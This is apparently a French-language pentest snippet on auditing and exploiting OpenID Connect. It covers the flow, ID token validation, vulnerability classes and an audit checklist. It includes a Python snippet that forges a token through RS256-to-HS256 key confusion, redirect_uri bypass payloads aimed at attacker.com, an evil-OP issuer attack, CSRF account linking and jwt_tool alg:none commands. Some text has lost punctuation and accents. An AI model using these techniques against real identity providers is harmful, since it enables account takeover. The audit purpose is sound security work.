MDstable
NoteSnippetChecklistPlaybook

OpenID Connect — Audit & Exploitation

OpenID Connect (OIDC) : flux d'autorisation, claims, vulnérabilités et exploitation — en complément des attaques OAuth 2.0

snippetadvanced 2026-05-30 5 min read
oidcopenid-connectoauthjwtssoauthenticationweb

OIDC vs OAuth 2.0

OAuth 20 Dlgation dAUTORISATION accder une ressource
OpenID Connect Couche dAUTHENTIFICATION sur OAuth 20
"Qui es-tu ?" via un ID Token JWT

Composants OIDC

Relying Party RP Application cliente
OpenID Provider OP Serveur didentit Google Azure AD Keycloak
ID Token JWT sign contenant l'identité de l'utilisateur
UserInfo endpoint endpoint renvoyant les claims utilisateur

Flux Authorization Code (PKCE)

1 RP OP GET /authorize
response_typecode
&client_idCLIENT_ID
&redirect_urihttps//app.com/callback
&scopeopenid profile email
&stateRANDOM_STATE
&nonceRANDOM_NONCE Protection replay attacks
&code_challengePKCE_HASH PKCE protection interception
&code_challenge_methodS256
2 OP Utilisateur page de login
3 Utilisateur OP credentials
4 OP RP 302 redirect
https//app.com/callbackcodeAUTH_CODE&stateRANDOM_STATE
5 RP OP POST /token
grant_typeauthorization_code
&codeAUTH_CODE
&redirect_urihttps//app.com/callback
&code_verifierPKCE_VERIFIER
6 OP RP
"access_token" "..."
"id_token" "eyJ..." JWT sign
"token_type" "Bearer"
"expires_in" 3600
7 RP OP GET /userinfo
Authorization Bearer ACCESS_TOKEN

ID Token — Structure JWT

Header "alg" "RS256" "kid" "key-id"
Payload
"iss" "https://accounts.google.com" // Issuer
"sub" "1234567890" // Subject user ID
"aud" "client_id" // Audience
"exp" 1716739200 // Expiration
"iat" 1716735600 // Issued At
"nonce" "RANDOM_NONCE" // Anti-replay
"email" "user@example.com"
"email_verified" true
"name" "John Doe"
"picture" "https://..."

Validation obligatoire côté RP

Vrifier la signature cls JWKS de lOP
Vrifier iss issuer attendu
Vrifier aud client_id de lapplication
Vrifier exp > now
Vrifier nonce nonce envoy initialement
Vrifier at_hash si access_token prsent

Vulnérabilités OIDC

1. Validation du nonce absente → Replay Attack

Scnario
Intercepter un ID Token valide dune session prcdente
Le rejouer si le serveur ne vrifie pas le nonce
Test
Rutiliser un ancien ID Token aprs dconnexion
Si accept nonce non vrifi
Impact Usurpation de session

2. Validation de l'issuer (iss) absente

Scnario
OP malveillant met un ID Token avec sub valide
Lapplication ne vrifie pas iss
Exploitation
Crer un compte sur evil-op.com avec subadmin_user_id
Soumettre l'ID Token à l'application cible
Test
Modifier iss dans le JWT si accept vulnrable

3. Confusion d'audience (aud)

Scnario
ID Token destin App A utilis contre App B
App B ne vrifie pas que aud son propre client_id
Test
Obtenir un token valide pour App A
Soumettre App B
Si accept confusion daudience

4. Algorithm Confusion (RS256 → HS256)

python
# Si le serveur accepte HS256 alors que configuré RS256 :
# Signer le JWT avec la clé publique RS256 comme secret HS256
import jwt, requests
# Récupérer la clé publique JWKS
r = requests.get('https://op.target.com/.well-known/jwks.json')
public_key = extract_public_key(r.json())
# Forger token HS256 signé avec clé publique RSA
forged = jwt.encode(
{"sub": "admin", "iss": "https://op.target.com", "aud": "client_id"},
public_key,
algorithm="HS256"
)

5. State parameter manquant → CSRF sur le flux OAuth

# Sans state validé, l'attaquant peut forcer une liaison de compte
# Exploit :
1 Initier un flux OIDC obtenir le code AUTH_CODE
2 Stopper avant la redirection
3 Faire cliquer la victime sur
https//app.com/callbackcodeATTACKER_CODE&state
4 La session victime lie le compte de lattaquant
Account takeover

6. redirect_uri non validé

bash
# Tester des variations
redirect_urihttps//attacker.com
redirect_urihttps//app.comattackercom
redirect_urihttps//app.com.attacker.com
redirect_urihttps//app.com/callback/../../../attacker/path
# Si accepté → code d'autorisation envoyé à l'attaquant

7. Sub claim prévisible ou réutilisable

# Si sub = email ou identifiant devinable :
# Créer un compte avec sub correspondant à une victime
# sur un autre OP accepté par l'application (IdP confusion)

Découverte OIDC — Endpoints

bash
# Discovery document (RFC 8414)
curl https//op.target.com/.well-known/openid-configuration
# Réponse contient :
"issuer" "https://op.target.com"
"authorization_endpoint" "https://op.target.com/oauth/authorize"
"token_endpoint" "https://op.target.com/oauth/token"
"userinfo_endpoint" "https://op.target.com/oauth/userinfo"
"jwks_uri" "https://op.target.com/.well-known/jwks.json"
"scopes_supported" "openid" "profile" "email"
"response_types_supported" "code" "token" "id_token"
"grant_types_supported" "authorization_code" "implicit"
# Clés publiques JWKS
curl https//op.target.com/.well-known/jwks.json

Checklist d'audit OIDC

Discovery document expos et conforme
PKCE obligatoire pour clients publics
state valid anti-CSRF)
nonce valid anti-replay)
redirect_uri strict pas de wildcard
iss vrifi dans lID Token
aud vrifi dans lID Token
exp vrifi et dlai court <
Signature RS256 vrifie alg not accepted none HS256
Algorithme fix ct serveur pas depuis le header JWT
Token_endpoint accessible uniquement depuis backend pas depuis JS
Refresh token rotation active
Rvocation de token implmente /revoke endpoint

Outils de test

bash
# jwt_tool — manipulation de tokens JWT/OIDC
python3 jwt_toolpy TOKEN -T # tamper mode
python3 jwt_toolpy TOKEN -X a # alg:none
python3 jwt_toolpy TOKEN -X k # key confusion RS256→HS256
# Burp Suite extensions
# → JWT Editor : modifier/resignter les tokens
# → OIDC Scanner : découverte et test automatique
# oauth2-proxy test
curl -v "https://target.com/callback?code=TEST&state=INVALID"
# Observer si state validé
OPS·BRAIN v1.092 notes · Securitylocal